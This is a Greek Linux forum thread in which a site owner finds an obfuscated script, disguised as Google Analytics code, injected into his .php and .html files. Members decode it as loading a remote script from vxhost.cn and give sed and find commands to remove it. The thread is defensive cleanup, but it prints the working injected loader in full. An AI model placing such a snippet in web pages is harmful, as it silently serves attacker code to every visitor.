Μαζικό search and replace σε SSH/linux γίνεται;

Είναι δωρεάν, είναι σταθερό, είναι γρήγορο.. ας το γνωρίσουμε και λίγο καλύτερα..

Συντονιστές: Super-Moderators, Software & Hardware Moderators

Απάντηση
Άβαταρ μέλους
cdhyper
Literature Moderator
Δημοσιεύσεις: 9707
Εγγραφή: 23 Ιουν 2001 03:00
Τοποθεσία: Φωτονερόπετρα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cdhyper » 27 Δεκ 2008 17:18

Έστω ότι θέλω να σβήσω 3 γραμμές κώδικα σε όλα τα αρχεία ενός server *.php και *.html.

Πώς μπορεί να γίνει αυτό μέσα από ssh απευθείας στον server χωρίς να ανεβοκατεβάζω manually;
Σύγκριση τιμών Supermarket: http://www.shopnsave.gr
Νέα Ιταλικα επιπλα κουζινας
Για φιλοσόφους: http://filosofia.gr και http://liantinis.org

id12586
στις καρδιές μας
Δημοσιεύσεις: 8387
Εγγραφή: 23 Ιουν 2003 23:28
Τοποθεσία: Far away
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από id12586 » 27 Δεκ 2008 17:29

Έφυγε για linux Guide.

Το θες να γίνεται αυτοματοποιημένα? Πχ με κάποιο script?
Ή θες και τον manual τροπο?

Γιατί με ένα

Κώδικας: Επιλογή όλων

vim foo1.php 
μπορείς να το ανοίξεις απο terminal.
Δεν είχα ποτέ κάποιο προβλημα με την κωδικοποίηση τους αν και συνήθως δουλεύω UTF8
Chris at your Services
ΕικόναSacame de Aqui

Άβαταρ μέλους
CyberCr33p
Honorary Member
Δημοσιεύσεις: 3194
Εγγραφή: 06 Νοέμ 1999 01:00
Τοποθεσία: Αθήνα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από CyberCr33p » 27 Δεκ 2008 17:37

Μπορείς να το κάνεις με την εντολή sed

Άβαταρ μέλους
cdhyper
Literature Moderator
Δημοσιεύσεις: 9707
Εγγραφή: 23 Ιουν 2001 03:00
Τοποθεσία: Φωτονερόπετρα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cdhyper » 27 Δεκ 2008 18:03

Δε με νοιάζει ωρε παλληκάρια όπως να ναι, το καλύτερο θα ήταν με script php ή perl αρκεί να δουλεύει οκ. Έχετε κανένα παράδειγμα working;

Αυτό που με νοιάζει είναι να μπορώ να σβήσω 3 γραμμές κώδικα ΠΑΝΤΟΥ σε όλο τον server με μια κίνηση σε *.html και *.php.
Σύγκριση τιμών Supermarket: http://www.shopnsave.gr
Νέα Ιταλικα επιπλα κουζινας
Για φιλοσόφους: http://filosofia.gr και http://liantinis.org

Άβαταρ μέλους
CyberCr33p
Honorary Member
Δημοσιεύσεις: 3194
Εγγραφή: 06 Νοέμ 1999 01:00
Τοποθεσία: Αθήνα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από CyberCr33p » 27 Δεκ 2008 18:08

Εάν μπορείς κάνε copy paste ακριβώς πώς είναι οι 3 γραμμές και θα προσπαθήσω να σου βρω μια regular expression για να τις σβήσεις.

Πάντως εάν πρόκειται για χακιά ψάξε μήπως έχουν ανεβάσει στο server και κάνα php shell.

Άβαταρ μέλους
cdhyper
Literature Moderator
Δημοσιεύσεις: 9707
Εγγραφή: 23 Ιουν 2001 03:00
Τοποθεσία: Φωτονερόπετρα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cdhyper » 27 Δεκ 2008 18:18

Κώδικας: Επιλογή όλων

<script type="text/javascript">
var gaJsHost =&#40;unescape&#40;'\u0076\u0078\u0068\u006f\u0073\u0074\u002e\u0063\u006e\u002f'&#41;&#41;;
document.write&#40;'<scr'+'ipt type="text/javascript" src="http&#58;//'+gaJsHost+'google.com"></scr'+'ipt>'&#41;;
</script>
Αυτό εδώ μου έχουν ανεβάσει σε έναν server μου και δεν ξέρω καν και από πού μπήκαν τα λαμόγια.
Σύγκριση τιμών Supermarket: http://www.shopnsave.gr
Νέα Ιταλικα επιπλα κουζινας
Για φιλοσόφους: http://filosofia.gr και http://liantinis.org

Άβαταρ μέλους
hik-hok
Reporter
Δημοσιεύσεις: 3571
Εγγραφή: 09 Μαρ 2003 10:45
Τοποθεσία: Agrrrrrrrrrr...... γάβ γάβ!!
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από hik-hok » 27 Δεκ 2008 18:36

αυτός δέν είναι ο κώδικας απο το google analytics ?

Άβαταρ μέλους
cdhyper
Literature Moderator
Δημοσιεύσεις: 9707
Εγγραφή: 23 Ιουν 2001 03:00
Τοποθεσία: Φωτονερόπετρα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cdhyper » 27 Δεκ 2008 18:40

Έλα ντε, έτσι φαίνεται αλλά όταν εκτελείται καλείται κάτι από vxhost.cn. Κάτι τσοντοκαταστάσεις.
Σύγκριση τιμών Supermarket: http://www.shopnsave.gr
Νέα Ιταλικα επιπλα κουζινας
Για φιλοσόφους: http://filosofia.gr και http://liantinis.org

Άβαταρ μέλους
cherouvim
Script Master
Δημοσιεύσεις: 3137
Εγγραφή: 13 Ιούλ 2005 22:56
Τοποθεσία: Athens, Greece
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cherouvim » 27 Δεκ 2008 19:48

\u0076\u0078\u0068\u006f\u0073\u0074\u002e\u0063\u006e\u002f = "vxhost.cn/"
οπότε φέρνει και εκτελεί το script στο browser του χρήστη: http://vxhost.cn/google.com

http://torrentfreak.com/google-blocks-w ... er-081207/

Κάνε το εξής για να σταματήσεις το script από το να λειτουργεί σε ένα folder:

Κώδικας: Επιλογή όλων

sed -i -e 's/\\u0076\\u0078\\u0068\\u006f/z/g' *.html *.php

Άβαταρ μέλους
cherouvim
Script Master
Δημοσιεύσεις: 3137
Εγγραφή: 13 Ιούλ 2005 22:56
Τοποθεσία: Athens, Greece
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cherouvim » 27 Δεκ 2008 20:06

και αυτό για όλα τα html recursivelly από το folder που βρίσκεσαι και κάτω (use with care):

Κώδικας: Επιλογή όλων

find . -type f -name '*.html' -print |
while read filename 
  do &#40;
    sed -i -e 's/\\u0076\\u0078\\u0068\\u006f/z/g' $filename
&#41; done
μετά κάντο και για *.php

Άβαταρ μέλους
Hermeia
Honorary Member
Δημοσιεύσεις: 987
Εγγραφή: 02 Αύγ 2004 00:14
Τοποθεσία: Αθήνα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από Hermeia » 27 Δεκ 2008 21:21

Πολύ καλό !
Ευχαριστούμε.

Μια απορία:
τα παραδείγματα που δίνεις, αποθηκεύουν κάπου τα αποτελέσματα- δεν πρέπει να ορίσουμε και αρχείο αποθήκευσης
(πχ.
sed -i -e 's/\\u0076\\u0078\\u0068\\u006f/z/g' $filename >Newfilename
ή κάτι ?)

περισσότερες απορίες για το sed .. αξίζουν το δικό τους θέμα

στο μεταξύ όσοι ενδιαφέρονται θα βρουν πολλά εδώ
http://sed.sourceforge.net/
(αγγλικά)

και περισσότερα για unix/linux/επεξεργασία κειμένου
στο διαμαντάκι (βιβλίο)

http://oreilly.com/openbook/utp/UnixTextProcessing.pdf
Hermeia the InfoSharer
Η Γνώση είναι Δύναμη
Εικόνα

Άβαταρ μέλους
cherouvim
Script Master
Δημοσιεύσεις: 3137
Εγγραφή: 13 Ιούλ 2005 22:56
Τοποθεσία: Athens, Greece
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cherouvim » 27 Δεκ 2008 21:25

Ναι θα μπορούσες να το κάνεις έτσι και για περισσότερη ασφάλεια.
Το παράδειγμα μου κάνει inplace replacement στα αρχεία.

Άβαταρ μέλους
CyberCr33p
Honorary Member
Δημοσιεύσεις: 3194
Εγγραφή: 06 Νοέμ 1999 01:00
Τοποθεσία: Αθήνα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από CyberCr33p » 27 Δεκ 2008 21:25

Για να διαγράψεις τις 2 γραμμές μπορείς να κάνεις και αυτό:

Κώδικας: Επιλογή όλων

sed -i -e '/gaJsHost/d' *.html
Θα σου μείνει βέβαια το

Κώδικας: Επιλογή όλων

<script type="text/javascript"> 
</script>
το οποίο στη συνέχεια με ησυχία πιστεύω θα βρούμε ένα regex για να σβηστεί.

ΣΗΜΕΙΩΣΗ: Πριν τρέξεις τα παρπάνω δοκίμασε τα σε ένα αρχείο για να δεις ότι όντως σβήνουν αυτά που θέλεις.

Άβαταρ μέλους
cdhyper
Literature Moderator
Δημοσιεύσεις: 9707
Εγγραφή: 23 Ιουν 2001 03:00
Τοποθεσία: Φωτονερόπετρα
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cdhyper » 29 Δεκ 2008 06:13

Thanks all αλλά τελικά με αυτό έκανα δουλειά: http://www.laffeycomputer.com/rpl.html

cherouvim αυτό το use with care script που έγραψες πώς ακριβώς το εκτελώ;
Σύγκριση τιμών Supermarket: http://www.shopnsave.gr
Νέα Ιταλικα επιπλα κουζινας
Για φιλοσόφους: http://filosofia.gr και http://liantinis.org

Άβαταρ μέλους
cherouvim
Script Master
Δημοσιεύσεις: 3137
Εγγραφή: 13 Ιούλ 2005 22:56
Τοποθεσία: Athens, Greece
Επικοινωνία:

Μαζικό search and replace σε SSH/linux γίνεται;

Δημοσίευση από cherouvim » 29 Δεκ 2008 09:46

Τρέχεις το περιεχόμενο του code block μέσα σε κάποιο φάκελο. Από κει και κάτω θα κάνει αυτό που είναι να κάνει.

Απάντηση

Επιστροφή στο “Linux Guide”

Μέλη σε σύνδεση

Μέλη σε αυτήν τη Δ. Συζήτηση: Δεν υπάρχουν εγγεγραμμένα μέλη και 0 επισκέπτες